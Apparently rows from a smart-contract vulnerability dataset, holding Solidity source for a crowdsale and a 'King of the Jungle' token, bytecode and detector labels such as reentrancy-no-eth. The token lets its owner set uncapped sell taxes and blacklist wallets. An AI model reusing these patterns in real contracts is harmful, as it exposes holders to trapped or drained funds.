* @param beneficiary who got the tokens
* @param value weis Contributed for Procurement
* @param amount amount of tokens Procured
*/
event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() public {
token = createTokenContract();
//soft cap in tokens
softcap = 10000000 * 1 ether;
hardcap = 50000000 * 1 ether;
// start and end timestamps where investments are allowed
//ico
//start
startIco = 1526403600;//2018 May 15, 12pm CST
//end
endIco = 1539622800;//2018 Oct 15 at 12pm CST
// rate;
rateIco = 670;
// address where funds are collected
wallet = 0xaa6072Cb5EcB3A1567F8Fdb4601620C4a808fD6c;
}
function setRateIco(uint _rateIco) public onlyOwner {
rateIco = _rateIco;
}
// fallback function can be used to Procure tokens
function () external payable {
procureTokens(msg.sender);
}
function createTokenContract() internal returns (TN) {
return new TN();
}
// low level token Pledge function
function procureTokens(address beneficiary) public payable {
uint256 tokens;
uint256 weiAmount = msg.value;
uint256 backAmount;
require(beneficiary != address(0));
//ico
if (now >= startIco && now < endIco && totalSoldTokens < hardcap){
tokens = weiAmount.mul(rateIco);
if (hardcap.sub(totalSoldTokens) < tokens){
tokens = hardcap.sub(totalSoldTokens);
weiAmount = tokens.div(rateIco);
backAmount = msg.value.sub(weiAmount);
}
totalSoldTokens = totalSoldTokens.add(tokens);
}
require(tokens > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
token.mint(msg.sender, tokens);
if (backAmount > 0){
balances[msg.sender] = balances[msg.sender].sub(backAmount);
msg.sender.transfer(backAmount);
}
emit TokenProcurement(msg.sender, beneficiary, weiAmount, tokens);
}
function refund() public{
require(totalSoldTokens < softcap && now > endIco);
require(balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function transferEthToMultisig() public onlyOwner {
address _this = this;
require(totalSoldTokens >= softcap && now > endIco);
wallet.transfer(_this.balance);
}
} | 0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b35780630d6f6f0b146101d757806318160ddd146101fe57806323b872dd14610213578063313ce5671461023d57806340c10f191461026b578063562e9df91461028f57806366188463146102c057806370a08231146102e45780637d64bcb4146103055780638da5cb5b1461031a57806395d89b411461032f578063a9059cbb14610344578063d73dd62314610368578063dd62ed3e1461038c578063f2fde38b146103b3575b600080fd5b34801561010c57600080fd5b506101156103d6565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e6103df565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a0360043516602435610416565b3480156101e357600080fd5b506101ec610480565b60408051918252519081900360200190f35b34801561020a57600080fd5b506101ec610486565b34801561021f57600080fd5b50610115600160a060020a036004358116906024351660443561048c565b34801561024957600080fd5b5061025261060e565b6040805163ffffffff9092168252519081900360200190f35b34801561027757600080fd5b50610115600160a060020a0360043516602435610613565b34801561029b57600080fd5b506102a461071a565b60408051600160a060020a039092168252519081900360200190f35b3480156102cc57600080fd5b50610115600160a060020a036004351660243561072e565b3480156102f057600080fd5b506101ec600160a060020a0360043516610827565b34801561031157600080fd5b50610115610842565b34801561032657600080fd5b506102a46108aa565b34801561033b57600080fd5b5061013e6108b9565b34801561035057600080fd5b50610115600160a060020a03600435166024356108f0565b34801561037457600080fd5b50610115600160a060020a03600435166024356109eb565b34801561039857600080fd5b506101ec600160a060020a0360043581169060243516610a8d565b3480156103bf57600080fd5b506103d4600160a060020a0360043516610ab8565b005b60045460ff1681565b60408051808201909152600681527f544e636f696e0000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60055481565b60025490565b6000600160a060020a03831615156104a357600080fd5b600160a060020a0384166000908152600160205260409020548211156104c857600080fd5b600160a060020a03808516600090815260036020908152604080832033909416835292905220548211156104fb57600080fd5b600160a060020a038416600090815260016020526040902054610524908363ffffffff610b5016565b600160a060020a038086166000908152600160205260408082209390935590851681522054610559908363ffffffff610b6216565b600160a060020a038085166000908152600160209081526040808320949094558783168252600381528382203390931682529190915220546105a1908363ffffffff610b5016565b600160a060020a038086166000818152600360209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b6000805433600160a060020a0390811691161461062f57600080fd5b60045460ff161561063f57600080fd5b600254610652908363ffffffff610b6216565b600255600160a060020a03831660009081526001602052604090205461067e908363ffffffff610b6216565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b6004546101009004600160a060020a031681565b600160a060020a0333811660009081526003602090815260408083209386168352929052908120548083111561078b57600160a060020a0333811660009081526003602090815260408083209388168352929052908120556107c2565b61079b818463ffffffff610b5016565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b6000805433600160a060020a0390811691161461085e57600080fd5b60045460ff161561086e57600080fd5b6004805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600054600160a060020a031681565b60408051808201909152600381527f544e430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561090757600080fd5b600160a060020a03331660009081526001602052604090205482111561092c57600080fd5b600160a060020a033316600090815260016020526040902054610955908363ffffffff610b5016565b600160a060020a03338116600090815260016020526040808220939093559085168152205461098a908363ffffffff610b6216565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610a23908363ffffffff610b6216565b600160a060020a0333811660008181526003602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610ad357600080fd5b600160a060020a0381161515610ae857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b5c57fe5b50900390565b81810182811015610b6f57fe5b929150505600a165627a7a72305820de97c276731de6c305b0d5e97fb8b672664d2873b55e975d19bf59fd1ddfc44f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,995 |
0x09f56c99b61ca96721be4a0df850493a1f152554 | /**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KingOfTheJungle is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "King of the Jungle";
string private constant _symbol = "KOTJ";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public _isExcludedMaxTxAmount;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xC2397e00b282c1a66cE6A5a98f93E5018B01F15f);
address payable private _marketingAddress = payable(0xC2397e00b282c1a66cE6A5a98f93E5018B01F15f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000000 * 10**9;
uint256 public _maxWalletSize = 1000000000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
excludeFromMaxTxAmount(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTxAmount(address(uniswapV2Pair), true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address botwallet) external onlyOwner {
bots[botwallet] = true;
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeFromMaxTxAmount(address updAds, bool isExcluded) public onlyOwner {
_isExcludedMaxTxAmount[updAds] = isExcluded;
}
function excludeFromFee(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[account] = excluded;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106102085760003560e01c80637d1db4a511610118578063a9059cbb116100a0578063d4a3883f1161006f578063d4a3883f14610629578063dd62ed3e14610649578063df8408fe1461068f578063ea1644d5146106af578063f2fde38b146106cf57600080fd5b8063a9059cbb146105a4578063bfd79284146105c4578063c3c8cd80146105f4578063c492f0461461060957600080fd5b80638f70ccf7116100e75780638f70ccf7146105015780638f9a55c01461052157806395d89b411461053757806398a5c31514610564578063a2a957bb1461058457600080fd5b80637d1db4a5146104805780637f2feddc146104965780638ba4cc3c146104c35780638da5cb5b146104e357600080fd5b8063563912bd1161019b5780636d8aa8f81161016a5780636d8aa8f8146103f65780636fc3eaec1461041657806370a082311461042b578063715018a61461044b57806374010ece1461046057600080fd5b8063563912bd14610364578063595cc84f1461039457806363c6f912146103b65780636b999053146103d657600080fd5b806323b872dd116101d757806323b872dd146102f25780632fd689e314610312578063313ce5671461032857806349bd5a5e1461034457600080fd5b806306fdde0314610214578063095ea7b3146102615780631694505e1461029157806318160ddd146102c957600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506040805180820190915260128152714b696e67206f6620746865204a756e676c6560701b60208201525b6040516102589190611be7565b60405180910390f35b34801561026d57600080fd5b5061028161027c366004611c51565b6106ef565b6040519015158152602001610258565b34801561029d57600080fd5b506015546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610258565b3480156102d557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610258565b3480156102fe57600080fd5b5061028161030d366004611c7d565b610706565b34801561031e57600080fd5b506102e460195481565b34801561033457600080fd5b5060405160098152602001610258565b34801561035057600080fd5b506016546102b1906001600160a01b031681565b34801561037057600080fd5b5061028161037f366004611cbe565b60066020526000908152604090205460ff1681565b3480156103a057600080fd5b506103b46103af366004611cf0565b61076f565b005b3480156103c257600080fd5b506103b46103d1366004611cbe565b6107cd565b3480156103e257600080fd5b506103b46103f1366004611cbe565b61081b565b34801561040257600080fd5b506103b4610411366004611d25565b610866565b34801561042257600080fd5b506103b46108ae565b34801561043757600080fd5b506102e4610446366004611cbe565b6108f9565b34801561045757600080fd5b506103b461091b565b34801561046c57600080fd5b506103b461047b366004611d40565b61098f565b34801561048c57600080fd5b506102e460175481565b3480156104a257600080fd5b506102e46104b1366004611cbe565b60126020526000908152604090205481565b3480156104cf57600080fd5b506103b46104de366004611c51565b6109be565b3480156104ef57600080fd5b506000546001600160a01b03166102b1565b34801561050d57600080fd5b506103b461051c366004611d25565b610a1d565b34801561052d57600080fd5b506102e460185481565b34801561054357600080fd5b5060408051808201909152600481526325a7aa2560e11b602082015261024b565b34801561057057600080fd5b506103b461057f366004611d40565b610a65565b34801561059057600080fd5b506103b461059f366004611d59565b610a94565b3480156105b057600080fd5b506102816105bf366004611c51565b610ad2565b3480156105d057600080fd5b506102816105df366004611cbe565b60116020526000908152604090205460ff1681565b34801561060057600080fd5b506103b4610adf565b34801561061557600080fd5b506103b4610624366004611dd7565b610b33565b34801561063557600080fd5b506103b4610644366004611e2b565b610bd4565b34801561065557600080fd5b506102e4610664366004611e97565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561069b57600080fd5b506103b46106aa366004611cf0565b610cc7565b3480156106bb57600080fd5b506103b46106ca366004611d40565b610d1c565b3480156106db57600080fd5b506103b46106ea366004611cbe565b610d4b565b60006106fc338484610e35565b5060015b92915050565b6000610713848484610f59565b61076584336107608560405180606001604052806028815260200161204b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611495565b610e35565b5060019392505050565b6000546001600160a01b031633146107a25760405162461bcd60e51b815260040161079990611ed0565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f75760405162461bcd60e51b815260040161079990611ed0565b6001600160a01b03166000908152601160205260409020805460ff19166001179055565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161079990611ed0565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146108905760405162461bcd60e51b815260040161079990611ed0565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806108e357506014546001600160a01b0316336001600160a01b0316145b6108ec57600080fd5b476108f6816114cf565b50565b6001600160a01b03811660009081526002602052604081205461070090611509565b6000546001600160a01b031633146109455760405162461bcd60e51b815260040161079990611ed0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109b95760405162461bcd60e51b815260040161079990611ed0565b601755565b6000546001600160a01b031633146109e85760405162461bcd60e51b815260040161079990611ed0565b6109f061158d565b610a083383610a0384633b9aca00611f1b565b610f59565b610a19600f54600d55601054600e55565b5050565b6000546001600160a01b03163314610a475760405162461bcd60e51b815260040161079990611ed0565b60168054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a8f5760405162461bcd60e51b815260040161079990611ed0565b601955565b6000546001600160a01b03163314610abe5760405162461bcd60e51b815260040161079990611ed0565b600993909355600b91909155600a55600c55565b60006106fc338484610f59565b6013546001600160a01b0316336001600160a01b03161480610b1457506014546001600160a01b0316336001600160a01b0316145b610b1d57600080fd5b6000610b28306108f9565b90506108f6816115bb565b6000546001600160a01b03163314610b5d5760405162461bcd60e51b815260040161079990611ed0565b60005b82811015610bce578160056000868685818110610b7f57610b7f611f3a565b9050602002016020810190610b949190611cbe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bc681611f50565b915050610b60565b50505050565b6000546001600160a01b03163314610bfe5760405162461bcd60e51b815260040161079990611ed0565b6000838214610c4f5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610799565b83811015610cc057610cae858583818110610c6c57610c6c611f3a565b9050602002016020810190610c819190611cbe565b848484818110610c9357610c93611f3a565b90506020020135633b9aca00610ca99190611f1b565b611744565b610cb9600182611f6b565b9050610c4f565b5050505050565b6000546001600160a01b03163314610cf15760405162461bcd60e51b815260040161079990611ed0565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610d465760405162461bcd60e51b815260040161079990611ed0565b601855565b6000546001600160a01b03163314610d755760405162461bcd60e51b815260040161079990611ed0565b6001600160a01b038116610dda5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610799565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610799565b6001600160a01b038216610ef85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610799565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fbd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610799565b6001600160a01b03821661101f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610799565b600081116110815760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610799565b6000546001600160a01b038481169116148015906110ad57506000546001600160a01b03838116911614155b1561138e57601654600160a01b900460ff16611146576000546001600160a01b038481169116146111465760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610799565b6017548111156111985760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610799565b6001600160a01b03831660009081526011602052604090205460ff161580156111da57506001600160a01b03821660009081526011602052604090205460ff16155b6112325760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610799565b6016546001600160a01b038381169116146112b75760185481611254846108f9565b61125e9190611f6b565b106112b75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610799565b60006112c2306108f9565b6019546017549192508210159082106112db5760175491505b8080156112f25750601654600160a81b900460ff16155b801561130c57506016546001600160a01b03868116911614155b80156113215750601654600160b01b900460ff165b801561134657506001600160a01b03851660009081526005602052604090205460ff16155b801561136b57506001600160a01b03841660009081526005602052604090205460ff16155b1561138b57611379826115bb565b47801561138957611389476114cf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806113d057506001600160a01b03831660009081526005602052604090205460f